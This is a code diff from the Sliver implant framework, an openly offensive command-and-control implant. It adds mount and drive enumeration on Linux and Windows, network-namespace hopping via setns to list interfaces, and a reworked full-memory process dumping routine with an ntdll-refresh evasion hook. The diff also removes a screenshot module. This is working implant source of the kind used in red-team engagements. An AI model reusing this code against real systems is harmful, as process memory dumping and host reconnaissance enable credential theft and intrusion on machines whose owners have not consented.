"github.com/bishopfox/sliver/implant/sliver/procdump"
|
||||
"github.com/bishopfox/sliver/implant/sliver/ps"
|
||||
@@ -92,6 +93,7 @@ var (
|
||||
sliverpb.MsgServicesReq: servicesListHandler,
|
||||
sliverpb.MsgServiceDetailReq: serviceDetailHandler,
|
||||
sliverpb.MsgStartServiceByNameReq: startServiceByNameHandler,
|
||||
sliverpb.MsgMountReq: mountHandler,
|
||||
|
||||
// Generic
|
||||
sliverpb.MsgPing: pingHandler,
|
||||
@@ -872,6 +874,27 @@ func serviceDetailHandler(data []byte, resp RPCResponse) {
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func mountHandler(data []byte, resp RPCResponse) {
|
||||
mountReq := &sliverpb.MountReq{}
|
||||
|
||||
err := proto.Unmarshal(data, mountReq)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
mountData, err := mount.GetMountInformation()
|
||||
mountResp := &sliverpb.Mount{
|
||||
Info: mountData,
|
||||
Response: &commonpb.Response{},
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
mountResp.Response.Err = err.Error()
|
||||
}
|
||||
|
||||
data, err = proto.Marshal(mountResp)
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
// Extensions
|
||||
|
||||
func registerExtensionHandler(data []byte, resp RPCResponse) {
|
||||
|
||||
@@ -23,10 +23,21 @@ import (
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"net"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strconv"
|
||||
"syscall"
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/ps"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"golang.org/x/sys/unix"
|
||||
)
|
||||
|
||||
func psHandler(data []byte, resp RPCResponse) {
|
||||
@@ -51,10 +62,10 @@ func psHandler(data []byte, resp RPCResponse) {
|
||||
|
||||
for _, proc := range procs {
|
||||
p := &commonpb.Process{
|
||||
Pid: int32(proc.Pid()),
|
||||
Ppid: int32(proc.PPid()),
|
||||
Executable: proc.Executable(),
|
||||
Owner: proc.Owner(),
|
||||
Pid: int32(proc.Pid()),
|
||||
Ppid: int32(proc.PPid()),
|
||||
Executable: proc.Executable(),
|
||||
Owner: proc.Owner(),
|
||||
Architecture: proc.Architecture(),
|
||||
}
|
||||
p.CmdLine = proc.(*ps.UnixProcess).CmdLine()
|
||||
@@ -63,3 +74,155 @@ func psHandler(data []byte, resp RPCResponse) {
|
||||
data, err = proto.Marshal(psList)
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func getFdFromPath(path string) (int, error) {
|
||||
fd, err := unix.Open(path, unix.O_RDONLY|unix.O_CLOEXEC, 0)
|
||||
if err != nil {
|
||||
return -1, err
|
||||
}
|
||||
return fd, nil
|
||||
}
|
||||
|
||||
func getUniqueFd(fd int) string {
|
||||
// Returns the unique namespace ID
|
||||
var s unix.Stat_t
|
||||
|
||||
err := unix.Fstat(fd, &s)
|
||||
|
||||
if err != nil {
|
||||
return "Unknown"
|
||||
}
|
||||
|
||||
return fmt.Sprintf("NS(%d:%d)", s.Dev, s.Ino)
|
||||
}
|
||||
|
||||
func ifconfigLinuxHandler(_ []byte, resp RPCResponse) {
|
||||
interfaces := ifconfigLinux()
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("network interfaces: %#v", interfaces)
|
||||
// {{end}}
|
||||
data, err := proto.Marshal(interfaces)
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func nsLinuxIfconfig(interfaces *sliverpb.Ifconfig) {
|
||||
namespacesFound := make(map[uint64]string)
|
||||
|
||||
procDir := "/proc"
|
||||
procContents, err := ioutil.ReadDir(procDir)
|
||||
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Printf("error reading /proc: %v", err)
|
||||
//{{end}}
|
||||
return
|
||||
}
|
||||
|
||||
for _, entry := range procContents {
|
||||
if !entry.IsDir() {
|
||||
continue
|
||||
}
|
||||
match, _ := filepath.Match("[1-9]*", entry.Name())
|
||||
if match {
|
||||
// Check if /proc/PID/net/ns exists
|
||||
checkPath := filepath.Join(procDir, entry.Name(), "/ns/net")
|
||||
|
||||
if _, err := os.Stat(checkPath); !os.IsNotExist(err) {
|
||||
// path for /proc/PID/ns/net exists
|
||||
// inode used to track unique namespaces
|
||||
var inode uint64
|
||||
|
||||
fileinfo, err := os.Stat(checkPath)
|
||||
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Printf("error : %v", err)
|
||||
//{{end}}
|
||||
continue
|
||||
}
|
||||
inode = fileinfo.Sys().(*syscall.Stat_t).Ino
|
||||
// Track unique namespaces
|
||||
namespacesFound[inode] = checkPath
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
// Lock the OS Thread so we don't accidentally switch namespaces
|
||||
runtime.LockOSThread()
|
||||
defer runtime.UnlockOSThread()
|
||||
|
||||
// Save the current network namespace
|
||||
pidPath := strconv.Itoa(os.Getpid())
|
||||
tidPath := strconv.Itoa(unix.Gettid())
|
||||
origns, _ := getFdFromPath(filepath.Join(procDir, pidPath, "/task", tidPath, "/ns/net"))
|
||||
defer unix.Close(origns)
|
||||
|
||||
// We only need to use the path value
|
||||
for _, nsPath := range namespacesFound {
|
||||
nsFd, err := unix.Open(nsPath, unix.O_RDONLY|unix.O_CLOEXEC, 0)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
// Ignore origin namespace
|
||||
if getUniqueFd(nsFd) == getUniqueFd(origns) {
|
||||
continue
|
||||
}
|
||||
|
||||
err = unix.Setns(nsFd, unix.CLONE_NEWNET)
|
||||
|
||||
if err != nil {
|
||||
// Failed to enter namespace
|
||||
continue
|
||||
}
|
||||
|
||||
ifaces, _ := net.Interfaces()
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Interfaces: %v\n", ifaces)
|
||||
// {{end}}
|
||||
ifconfigParseInterfaces(ifaces, interfaces, nsPath)
|
||||
}
|
||||
// Switch back to the original namespace
|
||||
unix.Setns(origns, unix.CLONE_NEWNET)
|
||||
}
|
||||
|
||||
func ifconfigLinux() *sliverpb.Ifconfig {
|
||||
netInterfaces, err := net.Interfaces()
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
interfaces := &sliverpb.Ifconfig{
|
||||
NetInterfaces: []*sliverpb.NetInterface{},
|
||||
}
|
||||
|
||||
ifconfigParseInterfaces(netInterfaces, interfaces)
|
||||
nsLinuxIfconfig(interfaces)
|
||||
|
||||
return interfaces
|
||||
}
|
||||
|
||||
func ifconfigParseInterfaces(netInterfaces []net.Interface, interfaces *sliverpb.Ifconfig, namespacePath ...string) {
|
||||
// Append namespace ID if passed in
|
||||
var appendNsId = ""
|
||||
if len(namespacePath) > 0 {
|
||||
appendNsId = fmt.Sprintf(" NS(%v)",namespacePath[0])
|
||||
}
|
||||
|
||||
for _, iface := range netInterfaces {
|
||||
netIface := &sliverpb.NetInterface{
|
||||
Index: int32(iface.Index),
|
||||
Name: iface.Name + appendNsId,
|
||||
}
|
||||
if iface.HardwareAddr != nil {
|
||||
netIface.MAC = iface.HardwareAddr.String()
|
||||
}
|
||||
addresses, err := iface.Addrs()
|
||||
if err == nil {
|
||||
for _, address := range addresses {
|
||||
netIface.IPAddresses = append(netIface.IPAddresses, address.String())
|
||||
}
|
||||
}
|
||||
interfaces.NetInterfaces = append(interfaces.NetInterfaces, netIface)
|
||||
}
|
||||
}
|
||||
@@ -1,4 +1,4 @@
|
||||
//go:build 386 || amd64 || arm
|
||||
//go:build 386 || amd64 || arm64
|
||||
|
||||
package limits
|
||||
|
||||
|
||||
@@ -0,0 +1,56 @@
|
||||
// +linux
|
||||
|
||||
package mount
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"os"
|
||||
"strings"
|
||||
"syscall"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
func GetMountInformation() ([]*sliverpb.MountInfo, error) {
|
||||
mountInfo := make([]*sliverpb.MountInfo, 0)
|
||||
|
||||
file, err := os.Open("/proc/self/mountinfo")
|
||||
if err != nil {
|
||||
return mountInfo, err
|
||||
}
|
||||
defer file.Close()
|
||||
|
||||
scanner := bufio.NewScanner(file)
|
||||
for scanner.Scan() {
|
||||
line := scanner.Text()
|
||||
fields := strings.Fields(line)
|
||||
|
||||
// Extract fields according to the /proc/self/mountinfo format
|
||||
// https://man7.org/linux/man-pages/man5/proc.5.html
|
||||
mountRoot := fields[3]
|
||||
mountPoint := fields[4]
|
||||
mountOptions := fields[5]
|
||||
mountType := fields[len(fields)-3]
|
||||
mountSource := fields[len(fields)-2]
|
||||
|
||||
// Get mount information using statfs
|
||||
var stat syscall.Statfs_t
|
||||
err := syscall.Statfs(mountPoint, &stat)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
var mountData sliverpb.MountInfo
|
||||
|
||||
mountData.Label = mountRoot
|
||||
mountData.MountPoint = mountPoint
|
||||
mountData.VolumeType = mountType
|
||||
mountData.VolumeName = mountSource
|
||||
mountData.MountOptions = mountOptions
|
||||
mountData.TotalSpace = stat.Blocks * uint64(stat.Bsize)
|
||||
mountInfo = append(mountInfo, &mountData)
|
||||
|
||||
}
|
||||
|
||||
return mountInfo, nil
|
||||
}
|
||||
@@ -0,0 +1,279 @@
|
||||
//go:build windows
|
||||
// +build windows
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2023 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
package mount
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"strconv"
|
||||
"strings"
|
||||
"unicode/utf16"
|
||||
"unsafe"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
const (
|
||||
pathLength = windows.MAX_PATH + 1
|
||||
volumePathsLength = 32769 // 32K + 1 for a null terminator
|
||||
universalNameInfoLevel = 1
|
||||
remoteNameInfoLevel = 2
|
||||
remoteNameMaxLength = 1024
|
||||
)
|
||||
|
||||
type UniversalNameInfo struct {
|
||||
UniversalName [remoteNameMaxLength]uint16
|
||||
}
|
||||
|
||||
func findAllVolumes() ([]string, error) {
|
||||
var volumes []string
|
||||
|
||||
volumeGuid := make([]uint16, pathLength)
|
||||
handle, err := windows.FindFirstVolume(&volumeGuid[0], pathLength)
|
||||
defer windows.FindVolumeClose(handle)
|
||||
if err != nil {
|
||||
return volumes, err
|
||||
}
|
||||
|
||||
volumes = append(volumes, windows.UTF16ToString(volumeGuid))
|
||||
|
||||
// Keep gathering volumes until we cannot find anymore
|
||||
for {
|
||||
err = windows.FindNextVolume(handle, &volumeGuid[0], pathLength)
|
||||
if err != nil {
|
||||
if err == windows.ERROR_NO_MORE_FILES {
|
||||
// Then we are done
|
||||
break
|
||||
} else {
|
||||
return volumes, err
|
||||
}
|
||||
}
|
||||
volumes = append(volumes, windows.UTF16ToString(volumeGuid))
|
||||
}
|
||||
|
||||
return volumes, nil
|
||||
}
|
||||
|
||||
func findMountPointsForVolume(volumeName string) ([]string, error) {
|
||||
const nullByte uint16 = 0
|
||||
var volumeMounts []string
|
||||
|
||||
mountsForVolume := make([]uint16, volumePathsLength)
|
||||
var returnedInformationLength uint32 = 0
|
||||
volNameUint, err := windows.UTF16PtrFromString(volumeName)
|
||||
if err != nil {
|
||||
return volumeMounts, err
|
||||
}
|
||||
err = windows.GetVolumePathNamesForVolumeName(volNameUint, &mountsForVolume[0], volumePathsLength, &returnedInformationLength)
|
||||
if err != nil {
|
||||
if err == windows.ERROR_MORE_DATA {
|
||||
// Then we need to make the buffer bigger and try again
|
||||
// We will try one more time
|
||||
mountsForVolume := make([]uint16, returnedInformationLength)
|
||||
err = windows.GetVolumePathNamesForVolumeName(volNameUint, &mountsForVolume[0], volumePathsLength, &returnedInformationLength)
|
||||
if err != nil {
|
||||
return volumeMounts, err
|
||||
}
|
||||
} else {
|
||||
return volumeMounts, err
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
Because the buffer contains multiple strings separated by a null terminator, we will read the
|
||||
buffer in chunks and separate the strings
|
||||
*/
|
||||
volumeMounts = splitStringBuffer(mountsForVolume)
|
||||
|
||||
return volumeMounts, nil
|
||||
}
|
||||
|
||||
func splitStringBuffer(buffer []uint16) []string {
|
||||
bufferString := string(utf16.Decode(buffer))
|
||||
return strings.Split(strings.TrimRight(bufferString, "\x00"), "\x00")
|
||||
}
|
||||
|
||||
func getAllDrives() ([]string, error) {
|
||||
var logicalDrives []string
|
||||
|
||||
// Get necessary buffer size
|
||||
n, err := windows.GetLogicalDriveStrings(0, nil)
|
||||
driveStrings := make([]uint16, n)
|
||||
_, err = windows.GetLogicalDriveStrings(n, &driveStrings[0])
|
||||
if err != nil {
|
||||
return logicalDrives, err
|
||||
}
|
||||
|
||||
logicalDrives = splitStringBuffer(driveStrings)
|
||||
|
||||
return logicalDrives, nil
|
||||
}
|
||||
|
||||
func getDriveType(driveSpec string) string {
|
||||
driveUTF16, err := windows.UTF16PtrFromString(driveSpec)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
|
||||
// Convert type to string (client will handle translation)
|
||||
driveTypeValue := strconv.FormatUint(uint64(windows.GetDriveType(driveUTF16)), 10)
|
||||
|
||||
return driveTypeValue
|
||||
}
|
||||
|
||||
func getUniversalName(driveSpec string) (string, error) {
|
||||
mpr := windows.NewLazyDLL("mpr.dll")
|
||||
wNetGetUniversalNameWProc := mpr.NewProc("WNetGetUniversalNameW")
|
||||
|
||||
driveUTF16, err := windows.UTF16PtrFromString(driveSpec)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
var universalNameBuffer UniversalNameInfo
|
||||
var bufferSize = uint32(unsafe.Sizeof(universalNameBuffer))
|
||||
|
||||
returnCode, _, err := wNetGetUniversalNameWProc.Call(
|
||||
uintptr(unsafe.Pointer(driveUTF16)),
|
||||
uintptr(universalNameInfoLevel),
|
||||
uintptr(unsafe.Pointer(&universalNameBuffer)),
|
||||
uintptr(unsafe.Pointer(&bufferSize)),
|
||||
)
|
||||
|
||||
if returnCode != 0 {
|
||||
// Then there was an error
|
||||
return "", fmt.Errorf("%v", windows.Errno(returnCode).Error())
|
||||
}
|
||||
|
||||
bufferStrings := splitStringBuffer(universalNameBuffer.UniversalName[:])
|
||||
// There is some junk returned at the beginning of the structure. The actual UNC path starts after the first null terminator.
|
||||
if len(bufferStrings) > 1 {
|
||||
return bufferStrings[1], nil
|
||||
} else {
|
||||
return "", errors.New("No valid data returned")
|
||||
}
|
||||
}
|
||||
|
||||
func getDiskStats(driveSpec string) (uint64, uint64, uint64, error) {
|
||||
var freeSpace uint64 = 0
|
||||
var usedSpace uint64 = 0
|
||||
var totalSpace uint64 = 0
|
||||
|
||||
driveUTF16, err := windows.UTF16PtrFromString(driveSpec)
|
||||
if err != nil {
|
||||
return freeSpace, usedSpace, totalSpace, err
|
||||
}
|
||||
|
||||
err = windows.GetDiskFreeSpaceEx(driveUTF16, nil, &totalSpace, &freeSpace)
|
||||
if err != nil {
|
||||
return freeSpace, usedSpace, totalSpace, err
|
||||
}
|
||||
|
||||
usedSpace = totalSpace - freeSpace
|
||||
|
||||
return freeSpace, usedSpace, totalSpace, nil
|
||||
}
|
||||
|
||||
func getDriveInfo(driveSpec string) (string, string) {
|
||||
// Get label and filesystem type
|
||||
driveUTF16, err := windows.UTF16PtrFromString(driveSpec)
|
||||
if err != nil {
|
||||
return "", ""
|
||||
}
|
||||
|
||||
volumeNameBuffer := make([]uint16, pathLength)
|
||||
fileSystemNameBuffer := make([]uint16, pathLength)
|
||||
|
||||
err = windows.GetVolumeInformation(driveUTF16, &volumeNameBuffer[0], pathLength, nil, nil, nil, &fileSystemNameBuffer[0], pathLength)
|
||||
if err != nil {
|
||||
return "", ""
|
||||
}
|
||||
|
||||
return windows.UTF16ToString(volumeNameBuffer), windows.UTF16ToString(fileSystemNameBuffer)
|
||||
}
|
||||
|
||||
func constructDriveVolumeMap() (map[string]string, error) {
|
||||
driveVolumeMap := make(map[string]string)
|
||||
|
||||
volumes, err := findAllVolumes()
|
||||
if err != nil {
|
||||
return driveVolumeMap, err
|
||||
}
|
||||
|
||||
for _, volume := range volumes {
|
||||
mountPoints, err := findMountPointsForVolume(volume)
|
||||
if err != nil {
|
||||
return driveVolumeMap, err
|
||||
}
|
||||
for _, mountPoint := range mountPoints {
|
||||
driveVolumeMap[mountPoint] = volume
|
||||
}
|
||||
}
|
||||
return driveVolumeMap, nil
|
||||
}
|
||||
|
||||
func GetMountInformation() ([]*sliverpb.MountInfo, error) {
|
||||
mountInfo := make([]*sliverpb.MountInfo, 0)
|
||||
|
||||
logicalDrives, err := getAllDrives()
|
||||
if err != nil {
|
||||
return mountInfo, err
|
||||
}
|
||||
|
||||
driveVolumeMap, err := constructDriveVolumeMap()
|
||||
if err != nil {
|
||||
return mountInfo, err
|
||||
}
|
||||
|
||||
for _, drive := range logicalDrives {
|
||||
var mountData sliverpb.MountInfo
|
||||
mountData.MountPoint = drive
|
||||
mountData.VolumeType = getDriveType(drive)
|
||||
|
||||
// Drive type of 4 is "Remote"
|
||||
// As per https://cs.opensource.google/go/x/sys/+/refs/tags/v0.18.0:windows/syscall_windows.go;l=33
|
||||
if mountData.VolumeType == "4" {
|
||||
// Then this is a network drive, so let's figure out the UNC path
|
||||
networkPath, err := getUniversalName(drive)
|
||||
if err != nil {
|
||||
return mountInfo, err
|
||||
}
|
||||
mountData.VolumeName = networkPath
|
||||
} else {
|
||||
mountData.VolumeName = driveVolumeMap[drive]
|
||||
}
|
||||
|
||||
mountData.Label, mountData.FileSystem = getDriveInfo(drive)
|
||||
free, used, total, err := getDiskStats(drive)
|
||||
if err != nil {
|
||||
return mountInfo, err
|
||||
}
|
||||
mountData.UsedSpace = used
|
||||
mountData.FreeSpace = free
|
||||
mountData.TotalSpace = total
|
||||
mountInfo = append(mountInfo, &mountData)
|
||||
}
|
||||
|
||||
return mountInfo, nil
|
||||
}
|
||||
@@ -20,6 +20,9 @@ package procdump
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"sort"
|
||||
"sync"
|
||||
|
||||
//{{if .Config.Debug}}
|
||||
"log"
|
||||
//{{end}}
|
||||
@@ -66,19 +69,44 @@ const (
|
||||
S_OK = 0
|
||||
TRUE = 1
|
||||
FALSE = 0
|
||||
IncrementSize = 5 * 1024 * 1024
|
||||
MiniDumpWithFullMemory = 0x00000002
|
||||
)
|
||||
|
||||
// var bytesRead uint32 = 0
|
||||
|
||||
type WindowsDump struct {
|
||||
data []byte
|
||||
}
|
||||
|
||||
type outDump struct {
|
||||
outPtr uintptr
|
||||
bytesRead uint32
|
||||
chunks sync.Map
|
||||
}
|
||||
|
||||
func (o *outDump) reassemble() []byte {
|
||||
keys := make([]uint64, 0)
|
||||
o.chunks.Range(func(k, v interface{}) bool {
|
||||
keys = append(keys, k.(uint64))
|
||||
return true
|
||||
})
|
||||
sort.Slice(keys, func(i, j int) bool { return keys[i] < keys[j] })
|
||||
lastChunckOffset := keys[len(keys)-1]
|
||||
lastChunk, ok := o.chunks.Load(lastChunckOffset)
|
||||
if !ok {
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("lastChunk not found")
|
||||
// {{end}}
|
||||
return nil
|
||||
}
|
||||
output := make([]byte, lastChunckOffset+uint64(len(lastChunk.([]byte))))
|
||||
for _, k := range keys {
|
||||
chunk, ok := o.chunks.Load(k)
|
||||
if !ok {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("chunk %d not found\n", k)
|
||||
// {{end}}
|
||||
return nil
|
||||
}
|
||||
copy(output[k:], chunk.([]byte))
|
||||
}
|
||||
return output
|
||||
}
|
||||
|
||||
func (d *WindowsDump) Data() []byte {
|
||||
@@ -93,13 +121,7 @@ func dumpProcess(pid int32) (ProcessDump, error) {
|
||||
}
|
||||
|
||||
hProc, err := windows.OpenProcess(syscalls.PROCESS_DUP_HANDLE, false, uint32(pid))
|
||||
currentProcHandle, err := windows.GetCurrentProcess()
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("GetCurrentProcess failed")
|
||||
// {{end}}
|
||||
return res, err
|
||||
}
|
||||
currentProcHandle := windows.CurrentProcess()
|
||||
err = windows.DuplicateHandle(hProc, currentProcHandle, currentProcHandle, &lpTargetHandle, 0, false, syscalls.DUPLICATE_SAME_ACCESS)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
@@ -115,11 +137,12 @@ func dumpProcess(pid int32) (ProcessDump, error) {
|
||||
}
|
||||
|
||||
func minidump(pid uint32, proc windows.Handle) (ProcessDump, error) {
|
||||
var err error
|
||||
dump := &WindowsDump{}
|
||||
// {{if eq .Config.GOARCH "amd64"}}
|
||||
// Hotfix for #66 - need to dig deeper
|
||||
// {{if .Config.Evasion}}
|
||||
err := evasion.RefreshPE(`c:\windows\system32\ntdll.dll`)
|
||||
err = evasion.RefreshPE(`c:\windows\system32\ntdll.dll`)
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Println("RefreshPE failed:", err)
|
||||
@@ -129,30 +152,8 @@ func minidump(pid uint32, proc windows.Handle) (ProcessDump, error) {
|
||||
// {{end}}
|
||||
// {{end}}
|
||||
|
||||
heapHandle, err := syscalls.GetProcessHeap()
|
||||
if err != nil {
|
||||
return dump, err
|
||||
}
|
||||
|
||||
procMemCounters := syscalls.ProcessMemoryCounters{}
|
||||
sizeOfMemCounters := uint32(unsafe.Sizeof(procMemCounters))
|
||||
err = syscalls.GetProcessMemoryInfo(proc, &procMemCounters, sizeOfMemCounters)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("GetProcessMemoryInfo failed: %s\n", err)
|
||||
// {{end}}
|
||||
return dump, err
|
||||
}
|
||||
|
||||
heapSize := procMemCounters.WorkingSetSize + IncrementSize
|
||||
|
||||
dumpBuffer, err := syscalls.HeapAlloc(heapHandle, 0x00000008, uintptr(heapSize))
|
||||
if err != nil {
|
||||
return dump, err
|
||||
}
|
||||
|
||||
outData := outDump{
|
||||
outPtr: dumpBuffer,
|
||||
chunks: sync.Map{},
|
||||
}
|
||||
|
||||
callbackInfo := MiniDumpCallbackInformation{
|
||||
@@ -171,22 +172,15 @@ func minidump(pid uint32, proc windows.Handle) (ProcessDump, error) {
|
||||
)
|
||||
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Println("Minidump syscall failed:", err)
|
||||
//{{end}}
|
||||
return dump, err
|
||||
}
|
||||
outBuff := make([]byte, outData.bytesRead)
|
||||
outBuffAddr := uintptr(unsafe.Pointer(&outBuff[0]))
|
||||
syscalls.RtlCopyMemory(outBuffAddr, outData.outPtr, outData.bytesRead)
|
||||
err = syscalls.HeapFree(heapHandle, 0, outData.outPtr)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("HeapFree failed: \n", err)
|
||||
// {{end}}
|
||||
return dump, err
|
||||
}
|
||||
dump.data = outBuff
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("Dump completed, reassembling...")
|
||||
// {{end}}
|
||||
dump.data = outData.reassemble()
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("Reassembly done!")
|
||||
// {{end}}
|
||||
return dump, nil
|
||||
}
|
||||
|
||||
@@ -217,9 +211,7 @@ func getCallbackInput(callbackInputPtr uintptr) (*MiniDumpCallbackInput, error)
|
||||
callbackInput := MiniDumpCallbackInput{}
|
||||
ioCallback := MiniDumpIOCallback{}
|
||||
bufferSize := unsafe.Sizeof(callbackInput)
|
||||
data := make([]byte, bufferSize)
|
||||
dataPtr := uintptr(unsafe.Pointer(&data[0]))
|
||||
syscalls.RtlCopyMemory(dataPtr, callbackInputPtr, uint32(bufferSize))
|
||||
data := unsafe.Slice((*byte)(unsafe.Pointer(callbackInputPtr)), int(bufferSize))
|
||||
buffReader := bytes.NewReader(data)
|
||||
err := binary.Read(buffReader, binary.LittleEndian, &callbackInput.ProcessId)
|
||||
if err != nil {
|
||||
@@ -267,45 +259,20 @@ func minidumpCallback(callbackParam uintptr, callbackInputPtr uintptr, callbackO
|
||||
// {{end}}
|
||||
return FALSE
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("minidumpCallback called: %v\n", callbackInput.CallbackType)
|
||||
// {{end}}
|
||||
switch callbackInput.CallbackType {
|
||||
case IoStartCallback:
|
||||
callbackOutput.Status = S_FALSE
|
||||
case IoWriteAllCallback:
|
||||
callbackOutput.Status = S_OK
|
||||
outData := (*outDump)(unsafe.Pointer(callbackParam))
|
||||
procHeap, err := syscalls.GetProcessHeap()
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("minidumpCallback GetProcessHeap failed: %s\n", err.Error())
|
||||
// {{end}}
|
||||
return FALSE
|
||||
}
|
||||
currentBuffSize, err := syscalls.HeapSize(procHeap, 0, outData.outPtr)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("minidumpCallback HeapSize failed: %s\n", err.Error())
|
||||
// {{end}}
|
||||
return FALSE
|
||||
}
|
||||
bytesAndOffset := callbackInput.Io.Offset + uint64(callbackInput.Io.BufferBytes)
|
||||
if bytesAndOffset >= uint64(currentBuffSize) {
|
||||
increasedSize := IncrementSize
|
||||
if bytesAndOffset <= uint64(currentBuffSize*2) {
|
||||
increasedSize = int(currentBuffSize) * 2
|
||||
} else {
|
||||
increasedSize += int(bytesAndOffset)
|
||||
}
|
||||
outData.outPtr, err = syscalls.HeapReAlloc(procHeap, 0, outData.outPtr, uintptr(increasedSize))
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("minidumpCallback HeapReAlloc failed: %s\n", err.Error())
|
||||
// {{end}}
|
||||
return FALSE
|
||||
}
|
||||
}
|
||||
destination := outData.outPtr + uintptr(callbackInput.Io.Offset)
|
||||
syscalls.RtlCopyMemory(destination, callbackInput.Io.Buffer, callbackInput.Io.BufferBytes)
|
||||
outData.bytesRead += callbackInput.Io.BufferBytes
|
||||
liveSliceSize := int(callbackInput.Io.BufferBytes)
|
||||
liveSlice := unsafe.Slice((*byte)(unsafe.Pointer(callbackInput.Io.Buffer)), liveSliceSize)
|
||||
newChunk := make([]byte, liveSliceSize)
|
||||
copy(newChunk, liveSlice)
|
||||
outData.chunks.Store(callbackInput.Io.Offset, newChunk)
|
||||
case IoFinishCallback:
|
||||
callbackOutput.Status = S_OK
|
||||
default:
|
||||
|
||||
@@ -1,79 +0,0 @@
|
||||
package screen
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2020 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
// {{if .Config.IsSharedLib}}
|
||||
"bytes"
|
||||
"image/png"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
//{{end}} - End Shared Lib
|
||||
|
||||
// {{if .Config.IsSharedLib}}
|
||||
screen "github.com/kbinani/screenshot"
|
||||
// {{end}}
|
||||
)
|
||||
|
||||
//Screenshot - Not Implemented
|
||||
func Screenshot() []byte {
|
||||
buf := []byte{}
|
||||
// {{if .Config.IsSharedLib}}
|
||||
buf = DarwinCapture()
|
||||
// {{end}}
|
||||
return buf
|
||||
}
|
||||
|
||||
// DarwinCapture - Retrieve the screenshot of the active displays
|
||||
// {{if .Config.IsSharedLib}}
|
||||
func DarwinCapture() []byte {
|
||||
nDisplays := screen.NumActiveDisplays()
|
||||
|
||||
var height, width int = 0, 0
|
||||
for i := 0; i < nDisplays; i++ {
|
||||
rect := screen.GetDisplayBounds(i)
|
||||
if rect.Dy() > height {
|
||||
height = rect.Dy()
|
||||
}
|
||||
width += rect.Dx()
|
||||
}
|
||||
img, err := screen.Capture(0, 0, width, height)
|
||||
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Printf("Error Capture: %s", err)
|
||||
//{{end}}
|
||||
}
|
||||
|
||||
var buf bytes.Buffer
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Println("Capture Error")
|
||||
//{{end}}
|
||||
return buf.Bytes()
|
||||
}
|
||||
|
||||
png.Encode(&buf, img)
|
||||
return buf.Bytes()
|
||||
}
|
||||
|
||||
// {{end}}
|
||||
